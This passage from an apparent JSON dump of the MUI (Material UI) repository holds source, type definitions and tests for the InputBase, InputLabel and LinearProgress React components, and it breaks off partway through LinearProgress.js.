expect(inputRef.current).to.equal(container.querySelector('textarea'));\n    });\n  });\n\n  describe('prop: focused', () => {\n    it.skipIf(isJsdom())(\n      'should render correct border color with `ThemeProvider` imported from `@emotion/react`',\n      function test() {\n        const theme = createTheme({\n          palette: {\n            primary: {\n              main: 'rgb(0, 191, 165)',\n            },\n          },\n        });\n\n        render(\n          <ThemeProvider theme={theme}>\n            <TextField focused label=\"Your email\" />\n          </ThemeProvider>,\n        );\n\n        const fieldset = screen.getByRole('textbox').nextSibling;\n        expect(fieldset).toHaveComputedStyle({\n          borderTopColor: 'rgb(0, 191, 165)',\n          borderRightColor: 'rgb(0, 191, 165)',\n          borderBottomColor: 'rgb(0, 191, 165)',\n          borderLeftColor: 'rgb(0, 191, 165)',\n        });\n      },\n    );\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/InputBase/index.d.ts",
    "content": "export { default } from './InputBase';\nexport * from './InputBase';\n\nexport { default as inputBaseClasses } from './inputBaseClasses';\nexport * from './inputBaseClasses';\n"
  },
  {
    "path": "packages/mui-material/src/InputBase/index.js",
    "content": "export { default } from './InputBase';\n\nexport { default as inputBaseClasses } from './inputBaseClasses';\nexport * from './inputBaseClasses';\n"
  },
  {
    "path": "packages/mui-material/src/InputBase/inputBaseClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface InputBaseClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if the component is a descendant of `FormControl`. */\n  formControl: string;\n  /** Styles applied to the root element if the component is focused. */\n  focused: string;\n  /** Styles applied to the root element if `disabled={true}`. */\n  disabled: string;\n  /** Styles applied to the root element if `startAdornment` is provided. */\n  adornedStart: string;\n  /** Styles applied to the root element if `endAdornment` is provided. */\n  adornedEnd: string;\n  /** State class applied to the root element if `error={true}`. */\n  error: string;\n  /** Styles applied to the input element if `size=\"small\"`. */\n  sizeSmall: string;\n  /** Styles applied to the root element if `multiline={true}`. */\n  multiline: string;\n  /** Styles applied to the root element if the color is secondary. */\n  colorSecondary: string;\n  /** Styles applied to the root element if `fullWidth={true}`. */\n  fullWidth: string;\n  /** Styles applied to the root element if `hiddenLabel={true}`. */\n  hiddenLabel: string;\n  /** State class applied to the root element if `readOnly={true}`. */\n  readOnly: string;\n  /** Styles applied to the input element. */\n  input: string;\n  inputTypeSearch: string;\n}\n\nexport type InputBaseClassKey = keyof InputBaseClasses;\n\nexport function getInputBaseUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiInputBase', slot);\n}\n\nconst inputBaseClasses: InputBaseClasses = generateUtilityClasses('MuiInputBase', [\n  'root',\n  'formControl',\n  'focused',\n  'disabled',\n  'adornedStart',\n  'adornedEnd',\n  'error',\n  'sizeSmall',\n  'multiline',\n  'colorSecondary',\n  'fullWidth',\n  'hiddenLabel',\n  'readOnly',\n  'input',\n  'inputTypeSearch',\n]);\n\nexport default inputBaseClasses;\n"
  },
  {
    "path": "packages/mui-material/src/InputBase/utils.js",
    "content": "// Supports determination of isControlled().\n// Controlled input accepts its current value as a prop.\n//\n// @see https://facebook.github.io/react/docs/forms.html#controlled-components\n// @param value\n// @returns {boolean} true if string (including '') or number (including zero)\nexport function hasValue(value) {\n  return value != null && !(Array.isArray(value) && value.length === 0);\n}\n\n// Determine if field is empty or filled.\n// Response determines if label is presented above field or as placeholder.\n//\n// @param obj\n// @param SSR\n// @returns {boolean} False when not present or empty string.\n//                    True when any number or string with length.\nexport function isFilled(obj, SSR = false) {\n  return (\n    obj &&\n    ((hasValue(obj.value) && obj.value !== '') ||\n      (SSR && hasValue(obj.defaultValue) && obj.defaultValue !== ''))\n  );\n}\n\n// Determine if an Input is adorned on start.\n// It's corresponding to the left with LTR.\n//\n// @param obj\n// @returns {boolean} False when no adornments.\n//                    True when adorned at the start.\nexport function isAdornedStart(obj) {\n  return obj.startAdornment;\n}\n"
  },
  {
    "path": "packages/mui-material/src/InputBase/utils.test.js",
    "content": "import { expect } from 'chai';\nimport { hasValue, isFilled } from './utils';\n\ndescribe('Input/utils.js', () => {\n  describe('hasValue', () => {\n    ['', 0].forEach((value) => {\n      it(`is true for ${value}`, () => {\n        expect(hasValue(value)).to.equal(true);\n      });\n    });\n\n    [null, undefined].forEach((value) => {\n      it(`is false for ${value}`, () => {\n        expect(hasValue(value)).to.equal(false);\n      });\n    });\n  });\n\n  describe('isFilled', () => {\n    [' ', 0].forEach((value) => {\n      it(`is true for value ${value}`, () => {\n        expect(isFilled({ value })).to.equal(true);\n      });\n\n      it(`is true for SSR defaultValue ${value}`, () => {\n        expect(isFilled({ defaultValue: value }, true)).to.equal(true);\n      });\n    });\n    [null, undefined, ''].forEach((value) => {\n      it(`is false for value ${value}`, () => {\n        expect(isFilled({ value })).to.equal(false);\n      });\n\n      it(`is false for SSR defaultValue ${value}`, () => {\n        expect(isFilled({ defaultValue: value }, true)).to.equal(false);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/InputLabel/InputLabel.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { FormLabelProps, ExtendFormLabelTypeMap } from '../FormLabel';\nimport { Theme } from '../styles';\nimport { InputLabelClasses } from './inputLabelClasses';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\n\nexport interface InputLabelPropsSizeOverrides {}\n\nexport interface InputLabelOwnProps extends Pick<FormLabelProps, 'children'> {\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<InputLabelClasses> | undefined;\n  color?: FormLabelProps['color'] | undefined;\n  /**\n   * If `true`, the transition animation is disabled.\n   * @default false\n   */\n  disableAnimation?: boolean | undefined;\n  /**\n   * If `true`, the component is disabled.\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, the label is displayed in an error state.\n   */\n  error?: boolean | undefined;\n  /**\n   * If `true`, the `input` of this label is focused.\n   */\n  focused?: boolean | undefined;\n  /**\n   * If `dense`, will adjust vertical spacing. This is normally obtained via context from\n   * FormControl.\n   */\n  margin?: 'dense' | undefined;\n  /**\n   * if `true`, the label will indicate that the `input` is required.\n   */\n  required?: boolean | undefined;\n  /**\n   * If `true`, the label is shrunk.\n   */\n  shrink?: boolean | undefined;\n  /**\n   * The size of the component.\n   * @default 'medium'\n   */\n  size?: OverridableStringUnion<'small' | 'medium', InputLabelPropsSizeOverrides> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The variant to use.\n   */\n  variant?: 'standard' | 'outlined' | 'filled' | undefined;\n}\n\nexport type InputLabelTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'label',\n> = ExtendFormLabelTypeMap<{\n  props: AdditionalProps & InputLabelOwnProps;\n  defaultComponent: RootComponent;\n}>;\n\n/**\n *\n * Demos:\n *\n * - [Number Field](https://next.mui.com/material-ui/react-number-field/)\n * - [Text Field](https://next.mui.com/material-ui/react-text-field/)\n *\n * API:\n *\n * - [InputLabel API](https://next.mui.com/material-ui/api/input-label/)\n * - inherits [FormLabel API](https://next.mui.com/material-ui/api/form-label/)\n */\ndeclare const InputLabel: OverridableComponent<InputLabelTypeMap>;\n\nexport type InputLabelProps<\n  RootComponent extends React.ElementType = InputLabelTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<InputLabelTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default InputLabel;\n"
  },
  {
    "path": "packages/mui-material/src/InputLabel/InputLabel.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport composeClasses from '@mui/utils/composeClasses';\nimport clsx from 'clsx';\nimport formControlState from '../FormControl/formControlState';\nimport useFormControl from '../FormControl/useFormControl';\nimport FormLabel, { formLabelClasses } from '../FormLabel';\nimport capitalize from '../utils/capitalize';\nimport rootShouldForwardProp from '../styles/rootShouldForwardProp';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getInputLabelUtilityClasses } from './inputLabelClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, formControl, size, shrink, disableAnimation, variant, required } = ownerState;\n  const slots = {\n    root: [\n      'root',\n      formControl && 'formControl',\n      !disableAnimation && 'animated',\n      shrink && 'shrink',\n      size && size !== 'medium' && `size${capitalize(size)}`,\n      variant,\n    ],\n    asterisk: [required && 'asterisk'],\n  };\n\n  const composedClasses = composeClasses(slots, getInputLabelUtilityClasses, classes);\n\n  return {\n    ...classes, // forward the focused, disabled, etc. classes to the FormLabel\n    ...composedClasses,\n  };\n};\n\nconst InputLabelRoot = styled(FormLabel, {\n  shouldForwardProp: (prop) => rootShouldForwardProp(prop) || prop === 'classes',\n  name: 'MuiInputLabel',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n    return [\n      { [`& .${formLabelClasses.asterisk}`]: styles.asterisk },\n      styles.root,\n      ownerState.formControl && styles.formControl,\n      ownerState.size === 'small' && styles.sizeSmall,\n      ownerState.shrink && styles.shrink,\n      !ownerState.disableAnimation && styles.animated,\n      ownerState.focused && styles.focused,\n      styles[ownerState.variant],\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    display: 'block',\n    transformOrigin: 'top left',\n    whiteSpace: 'nowrap',\n    overflow: 'hidden',\n    textOverflow: 'ellipsis',\n    maxWidth: '100%',\n    variants: [\n      {\n        props: ({ ownerState }) => ownerState.formControl,\n        style: {\n          position: 'absolute',\n          left: 0,\n          top: 0,\n          // slight alteration to spec spacing to match visual spec result\n          transform: 'translate(0, 20px) scale(1)',\n        },\n      },\n      {\n        props: {\n          size: 'small',\n        },\n        style: {\n          // Compensation for the `Input` small size style.\n          transform: 'translate(0, 17px) scale(1)',\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.shrink,\n        style: {\n          transform: 'translate(0, -1.5px) scale(0.75)',\n          transformOrigin: 'top left',\n          maxWidth: '133%',\n        },\n      },\n      {\n        props: ({ ownerState }) => !ownerState.disableAnimation,\n        style: {\n          transition: theme.transitions.create(['color', 'transform', 'max-width'], {\n            duration: theme.transitions.duration.shorter,\n            easing: theme.transitions.easing.easeOut,\n          }),\n        },\n      },\n      {\n        props: {\n          variant: 'filled',\n        },\n        style: {\n          // Chrome's autofill feature gives the input field a yellow background.\n          // Since the input field is behind the label in the HTML tree,\n          // the input field is drawn last and hides the label with an opaque background color.\n          // zIndex: 1 will raise the label above opaque background-colors of input.\n          zIndex: 1,\n          pointerEvents: 'none',\n          transform: 'translate(12px, 16px) scale(1)',\n          maxWidth: 'calc(100% - 24px)',\n        },\n      },\n      {\n        props: {\n          variant: 'filled',\n          size: 'small',\n        },\n        style: {\n          transform: 'translate(12px, 13px) scale(1)',\n        },\n      },\n      {\n        props: ({ variant, ownerState }) => variant === 'filled' && ownerState.shrink,\n        style: {\n          userSelect: 'none',\n          pointerEvents: 'auto',\n          transform: 'translate(12px, 7px) scale(0.75)',\n          maxWidth: 'calc(133% - 24px)',\n        },\n      },\n      {\n        props: ({ variant, ownerState, size }) =>\n          variant === 'filled' && ownerState.shrink && size === 'small',\n        style: {\n          transform: 'translate(12px, 4px) scale(0.75)',\n        },\n      },\n      {\n        props: {\n          variant: 'outlined',\n        },\n        style: {\n          // see comment above on filled.zIndex\n          zIndex: 1,\n          pointerEvents: 'none',\n          transform: 'translate(14px, 16px) scale(1)',\n          maxWidth: 'calc(100% - 24px)',\n        },\n      },\n      {\n        props: {\n          variant: 'outlined',\n          size: 'small',\n        },\n        style: {\n          transform: 'translate(14px, 9px) scale(1)',\n        },\n      },\n      {\n        props: ({ variant, ownerState }) => variant === 'outlined' && ownerState.shrink,\n        style: {\n          userSelect: 'none',\n          pointerEvents: 'auto',\n          // Theoretically, we should have (8+5)*2/0.75 = 34px\n          // but it feels a better when it bleeds a bit on the left, so 32px.\n          maxWidth: 'calc(133% - 32px)',\n          transform: 'translate(14px, -9px) scale(0.75)',\n        },\n      },\n    ],\n  })),\n);\n\nconst InputLabel = React.forwardRef(function InputLabel(inProps, ref) {\n  const props = useDefaultProps({ name: 'MuiInputLabel', props: inProps });\n  const {\n    disableAnimation = false,\n    margin,\n    shrink: shrinkProp,\n    variant,\n    className,\n    ...other\n  } = props;\n\n  const muiFormControl = useFormControl();\n\n  let shrink = shrinkProp;\n  if (typeof shrink === 'undefined' && muiFormControl) {\n    shrink = muiFormControl.filled || muiFormControl.focused || muiFormControl.adornedStart;\n  }\n\n  const fcs = formControlState({\n    props,\n    muiFormControl,\n    states: ['size', 'variant', 'required', 'focused'],\n  });\n\n  const ownerState = {\n    ...props,\n    disableAnimation,\n    formControl: muiFormControl,\n    shrink,\n    size: fcs.size,\n    variant: fcs.variant,\n    required: fcs.required,\n    focused: fcs.focused,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <InputLabelRoot\n      data-shrink={shrink}\n      ref={ref}\n      className={clsx(classes.root, className)}\n      {...other}\n      ownerState={ownerState}\n      classes={classes}\n    />\n  );\n});\n\nInputLabel.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['error', 'info', 'primary', 'secondary', 'success', 'warning']),\n    PropTypes.string,\n  ]),\n  /**\n   * If `true`, the transition animation is disabled.\n   * @default false\n   */\n  disableAnimation: PropTypes.bool,\n  /**\n   * If `true`, the component is disabled.\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, the label is displayed in an error state.\n   */\n  error: PropTypes.bool,\n  /**\n   * If `true`, the `input` of this label is focused.\n   */\n  focused: PropTypes.bool,\n  /**\n   * If `dense`, will adjust vertical spacing. This is normally obtained via context from\n   * FormControl.\n   */\n  margin: PropTypes.oneOf(['dense']),\n  /**\n   * if `true`, the label will indicate that the `input` is required.\n   */\n  required: PropTypes.bool,\n  /**\n   * If `true`, the label is shrunk.\n   */\n  shrink: PropTypes.bool,\n  /**\n   * The size of the component.\n   * @default 'medium'\n   */\n  size: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['medium', 'small']),\n    PropTypes.string,\n  ]),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The variant to use.\n   */\n  variant: PropTypes.oneOf(['filled', 'outlined', 'standard']),\n};\n\nexport default InputLabel;\n"
  },
  {
    "path": "packages/mui-material/src/InputLabel/InputLabel.spec.tsx",
    "content": "import * as React from 'react';\nimport { expectType } from '@mui/types';\nimport InputLabel from '@mui/material/InputLabel';\n\nconst CustomComponent: React.FC<{ prop1: string; prop2: number }> = function CustomComponent() {\n  return <div />;\n};\n\nconst InputLabelTest = () => {\n  return (\n    <div>\n      <InputLabel />\n      <InputLabel component=\"legend\" />\n      <InputLabel\n        component=\"legend\"\n        onClick={(event) => {\n          expectType<React.MouseEvent<HTMLLegendElement, MouseEvent>, typeof event>(event);\n        }}\n      />\n\n      {/* @ts-expect-error */}\n      <InputLabel component=\"a\" incorrectAttribute=\"url\" />\n      {/* @ts-expect-error */}\n      <InputLabel component=\"div\" href=\"url\" />\n      <InputLabel component={CustomComponent} prop1=\"1\" prop2={12} />\n      {/* @ts-expect-error */}\n      <InputLabel component={CustomComponent} prop1=\"1\" />\n      {/* @ts-expect-error */}\n      <InputLabel component={CustomComponent} prop1=\"1\" prop2=\"12\" />\n    </div>\n  );\n};\n"
  },
  {
    "path": "packages/mui-material/src/InputLabel/InputLabel.test.js",
    "content": "import PropTypes from 'prop-types';\nimport { expect } from 'chai';\nimport { act, createRenderer, screen } from '@mui/internal-test-utils';\nimport { ClassNames } from '@emotion/react';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport FormControl from '@mui/material/FormControl';\nimport Input from '@mui/material/Input';\nimport FormLabel from '@mui/material/FormLabel';\nimport InputLabel, { inputLabelClasses as classes } from '@mui/material/InputLabel';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<InputLabel />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<InputLabel>Foo</InputLabel>, () => ({\n    classes,\n    inheritComponent: FormLabel,\n    render,\n    refInstanceof: window.HTMLLabelElement,\n    muiName: 'MuiInputLabel',\n    testVariantProps: { size: 'small' },\n  }));\n\n  it('should render a label with text', () => {\n    const { container } = render(<InputLabel>Foo</InputLabel>);\n    expect(container.querySelector('label')).to.have.text('Foo');\n  });\n\n  it('should have the animated class by default', () => {\n    const { container } = render(<InputLabel>Foo</InputLabel>);\n    expect(container.firstChild).to.have.class(classes.animated);\n  });\n\n  it('should not have the animated class when disabled', () => {\n    const { container } = render(<InputLabel disableAnimation>Foo</InputLabel>);\n    expect(container.firstChild).not.to.have.class(classes.animated);\n  });\n\n  it('should forward the asterisk class to AsteriskComponent when required', () => {\n    const { container } = render(\n      <InputLabel classes={{ asterisk: 'my-asterisk' }} required>\n        Foo\n      </InputLabel>,\n    );\n    expect(container.querySelector('.my-asterisk')).to.have.class('MuiFormLabel-asterisk');\n    expect(container.querySelector('.my-asterisk')).to.have.class('MuiInputLabel-asterisk');\n  });\n\n  describe('with FormControl', () => {\n    it('should have the formControl class', () => {\n      render(\n        <FormControl>\n          <InputLabel data-testid=\"root\" />\n        </FormControl>,\n      );\n\n      expect(screen.getByTestId('root')).to.have.class(classes.formControl);\n    });\n\n    it('should have the small class', () => {\n      render(\n        <FormControl size=\"small\">\n          <InputLabel data-testid=\"root\" />\n        </FormControl>,\n      );\n\n      expect(screen.getByTestId('root')).to.have.class(classes.sizeSmall);\n    });\n\n    describe('filled', () => {\n      it('applies a shrink class that can be controlled by props', () => {\n        function Wrapper({ children }) {\n          return (\n            <FormControl>\n              <Input defaultValue=\"Dave\" />\n              {children}\n            </FormControl>\n          );\n        }\n        Wrapper.propTypes = { children: PropTypes.node };\n        const { setProps } = render(<InputLabel data-testid=\"root\">name</InputLabel>, {\n          wrapper: Wrapper,\n        });\n\n        expect(screen.getByTestId('root')).to.have.class(classes.shrink);\n\n        setProps({ shrink: false });\n        expect(screen.getByTestId('root')).not.to.have.class(classes.shrink);\n\n        setProps({ shrink: true });\n        expect(screen.getByTestId('root')).to.have.class(classes.shrink);\n      });\n    });\n\n    describe('focused', () => {\n      it('applies a shrink class that can be controlled by props', () => {\n        function Wrapper({ children }) {\n          return (\n            <FormControl>\n              <Input />\n              {children}\n            </FormControl>\n          );\n        }\n        Wrapper.propTypes = { children: PropTypes.node };\n\n        const { container, setProps } = render(<InputLabel data-testid=\"root\" />, {\n          wrapper: Wrapper,\n        });\n        act(() => {\n          container.querySelector('input').focus();\n        });\n\n        expect(screen.getByTestId('root')).to.have.class(classes.shrink);\n\n        setProps({ shrink: false });\n        expect(screen.getByTestId('root')).not.to.have.class(classes.shrink);\n\n        setProps({ shrink: true });\n        expect(screen.getByTestId('root')).to.have.class(classes.shrink);\n      });\n\n      it('provides ownerState.focused in styleOverrides', () => {\n        const theme = createTheme({\n          components: {\n            MuiInputLabel: {\n              styleOverrides: {\n                root: (props) => {\n                  return {\n                    ...(props.ownerState.focused === true && {\n                      mixBlendMode: 'darken',\n                    }),\n                  };\n                },\n              },\n            },\n          },\n        });\n\n        render(\n          <ThemeProvider theme={theme}>\n            <FormControl focused>\n              <InputLabel>Test Label</InputLabel>\n            </FormControl>\n          </ThemeProvider>,\n        );\n\n        const label = screen.getByText('Test Label');\n\n        expect(label).to.toHaveComputedStyle({\n          mixBlendMode: 'darken',\n        });\n      });\n    });\n  });\n\n  describe('Emotion compatibility', () => {\n    it('classes.root should overwrite built-in styles.', () => {\n      const text = 'The label';\n\n      render(\n        <ClassNames>\n          {({ css }) => (\n            <FormControl>\n              <InputLabel classes={{ root: css({ position: 'static' }) }}>{text}</InputLabel>\n            </FormControl>\n          )}\n        </ClassNames>,\n      );\n\n      const label = screen.getByText(text);\n\n      expect(getComputedStyle(label).position).to.equal('static');\n    });\n\n    it('className should overwrite classes.root and built-in styles.', () => {\n      const text = 'The label';\n\n      render(\n        <ClassNames>\n          {({ css }) => (\n            <FormControl>\n              <InputLabel\n                color=\"primary\"\n                className={css({ position: 'static' })}\n                classes={{ root: css({ position: 'sticky' }) }}\n              >\n                {text}\n              </InputLabel>\n            </FormControl>\n          )}\n        </ClassNames>,\n      );\n\n      const label = screen.getByText(text);\n\n      expect(getComputedStyle(label).position).to.equal('static');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/InputLabel/index.d.ts",
    "content": "export { default } from './InputLabel';\nexport * from './InputLabel';\n\nexport { default as inputLabelClasses } from './inputLabelClasses';\nexport * from './inputLabelClasses';\n"
  },
  {
    "path": "packages/mui-material/src/InputLabel/index.js",
    "content": "export { default } from './InputLabel';\n\nexport { default as inputLabelClasses } from './inputLabelClasses';\nexport * from './inputLabelClasses';\n"
  },
  {
    "path": "packages/mui-material/src/InputLabel/inputLabelClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface InputLabelClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** State class applied to the root element if `focused={true}`. */\n  focused: string;\n  /** State class applied to the root element if `disabled={true}`. */\n  disabled: string;\n  /** State class applied to the root element if `error={true}`. */\n  error: string;\n  /** State class applied to the root element if `required={true}`. */\n  required: string;\n  /** State class applied to the asterisk element. */\n  asterisk: string;\n  /** Styles applied to the root element if the component is a descendant of `FormControl`. */\n  formControl: string;\n  /** Styles applied to the root element if `size=\"small\"`. */\n  sizeSmall: string;\n  /** Styles applied to the input element if `shrink={true}`. */\n  shrink: string;\n  /** Styles applied to the input element unless `disableAnimation={true}`. */\n  animated: string;\n  /** Styles applied to the root element if `variant=\"filled\"`. */\n  filled: string;\n  /** Styles applied to the root element if `variant=\"outlined\"`. */\n  outlined: string;\n  /** Styles applied to the root element if `variant=\"standard\"`. */\n  standard: string;\n}\n\nexport type InputLabelClassKey = keyof InputLabelClasses;\n\nexport function getInputLabelUtilityClasses(slot: string): string {\n  return generateUtilityClass('MuiInputLabel', slot);\n}\n\nconst inputLabelClasses: InputLabelClasses = generateUtilityClasses('MuiInputLabel', [\n  'root',\n  'focused',\n  'disabled',\n  'error',\n  'required',\n  'asterisk',\n  'formControl',\n  'sizeSmall',\n  'shrink',\n  'animated',\n  'standard',\n  'filled',\n  'outlined',\n]);\n\nexport default inputLabelClasses;\n"
  },
  {
    "path": "packages/mui-material/src/LinearProgress/LinearProgress.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { LinearProgressClasses } from './linearProgressClasses';\n\nexport interface LinearProgressPropsColorOverrides {}\nexport interface LinearProgressPropsVariantOverrides {}\n\nexport interface LinearProgressProps extends StandardProps<\n  React.HTMLAttributes<HTMLSpanElement>,\n  'children'\n> {\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<LinearProgressClasses> | undefined;\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'primary'\n   */\n  color?:\n    | OverridableStringUnion<\n        'primary' | 'secondary' | 'error' | 'info' | 'success' | 'warning' | 'inherit',\n        LinearProgressPropsColorOverrides\n      >\n    | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The value of the progress indicator for the determinate and buffer variants.\n   * Value between 0 and 100.\n   */\n  value?: number | undefined;\n  /**\n   * The value for the buffer variant.\n   * Value between 0 and 100.\n   */\n  valueBuffer?: number | undefined;\n  /**\n   * The variant to use.\n   * Use indeterminate or query when there is no progress value.\n   * @default 'indeterminate'\n   */\n  variant?:\n    | OverridableStringUnion<\n        'determinate' | 'indeterminate' | 'buffer' | 'query',\n        LinearProgressPropsVariantOverrides\n      >\n    | undefined;\n}\n\n/**\n * ## ARIA\n *\n * If the progress bar is describing the loading progress of a particular region of a page,\n * you should use `aria-describedby` to point to the progress bar, and set the `aria-busy`\n * attribute to `true` on that region until it has finished loading.\n *\n * Demos:\n *\n * - [Progress](https://next.mui.com/material-ui/react-progress/)\n *\n * API:\n *\n * - [LinearProgress API](https://next.mui.com/material-ui/api/linear-progress/)\n */\nexport default function LinearProgress(props: LinearProgressProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/LinearProgress/LinearProgress.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { useRtl } from '@mui/system/RtlProvider';\nimport { keyframes, css, styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport createSimplePaletteValueFilter from '../utils/createSimplePaletteValueFilter';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport capitalize from '../utils/capitalize';\nimport { getLinearProgressUtilityClass } from './linearProgressClasses';\n\nconst TRANSITION_DURATION = 4; // seconds\nconst indeterminate1Keyframe = keyframes`\n  0% {\n    left: -35%;\n    right: 100%;\n  }\n\n  60% {\n    left: 100%;\n    right: -90%;\n  }\n\n  100% {\n    left: 100%;\n    right: -90%;\n  }\n`;\n\n// This implementation is for supporting both Styled-components v4+ and Pigment CSS.\n// A global animation has to be created here for Styled-components v4+ (https://github.com/styled-components/styled-components/blob/main/packages/styled-components/src/utils/errors.md#12).\n// which can be done by checking typeof indeterminate1Keyframe !== 'string' (at runtime, Pigment CSS transform keyframes`` to a string).\nconst indeterminate1Animation =\n  typeof indeterminate1Keyframe !== 'string'\n    ? css`\n        animation: ${indeterminate1Keyframe} 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite;\n      `\n    : null;\n\nconst indeterminate2Keyframe = keyframes`\n  0% {\n    left: -200%;\n    right: 100%;\n  }\n\n  60% {\n    left: 107%;\n    right: -8%;\n  }\n\n  100% {\n    left: 107%;\n    right: -8%;\n  }\n`;\nconst indeterminate2Animation =\n  typeof indeterminate2Keyframe !== 'string'\n    ? css`\n        animation: ${indeterminate2Keyframe} 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) 1.15s infinite;\n      `\n    : null;\n\nconst bufferKeyframe = keyframes`\n  0% {\n    opacity: 1;\n    background-position: 0 -23px;\n  }\n\n  60% {\n    opacity: 0;\n    background-position: 0 -23px;\n  }\n\n  100% {\n    opacity: 1;\n    background-position: -200px -23px;\n  }\n`;\nconst bufferAnimation =\n  typeof bufferKeyframe !== 'string'\n    ? css`\n        animation: ${bufferKeyframe} 3s infinite linear;\n      `\n    : null;\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, variant, color } = ownerState;\n\n  const slots = {\n    root: ['root', `color${capitalize(color)}`, variant],\n    dashed: ['dashed'],\n    bar1: ['bar', 'bar1'],\n    bar2: ['bar', 'bar2', variant === 'buffer' && `color${capitalize(color)}`],\n  };\n\n  return composeClasses(slots, getLinearProgressUtilityClass, classes);\n};\n\nconst getColorShade = (theme, color) => {\n  if (theme.vars) {\n    return theme.vars.palette.LinearProgress[`${color}Bg`];\n  }\n  return theme.palette.mode === 'light'\n    ? theme.lighten(theme.palette[color].main, 0.62)\n    : theme.darken(theme.palette[color].main, 0.5);\n};\n\nconst LinearProgressRoot = styled('span', {\n  name: 'MuiLinearProgress',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      styles[`color${capitalize(ownerState.color)}`],\n      styles[ownerState.variant],\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    position: 'relative',\n    overflow: 'hidden',\n    display: 'block',\n    height: 4,\n    // Fix Safari's bug during composition of different paint.\n    zIndex: 0,\n    '@media print': {\n      colorAdjust: 'exact',\n    },\n    variants: [\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter())\n        .map(([color]) => ({\n          props: { color },\n          style: {\n            backgroundColor: getColorShade(theme, color),\n          },\n        })),\n      {\n        props: ({ ownerState }) =>\n          ownerState.color === 'inherit' && ownerState.variant !== 'buffer',\n        style: {\n          '&::before': {\n            content: '\"\"',\n            position: 'absolute',\n            left: 0,\n            top: 0,\n            right: 0,\n            bottom: 0,\n            backgroundColor: 'currentColor',\n            opacity: 0.3,\n          },\n        },\n      },\n      {\n        props: { variant: 'buffer' },\n        style: { backgroundColor: 'transparent' },\n      },\n      {\n        props: { variant: 'query' },\n        style: { transform: 'rotate(180deg)' },\n      },\n    ],\n  })),\n);\n\nconst LinearProgressDashed = styled('span', {\n  name: 'MuiLinearProgress',\n  slot: 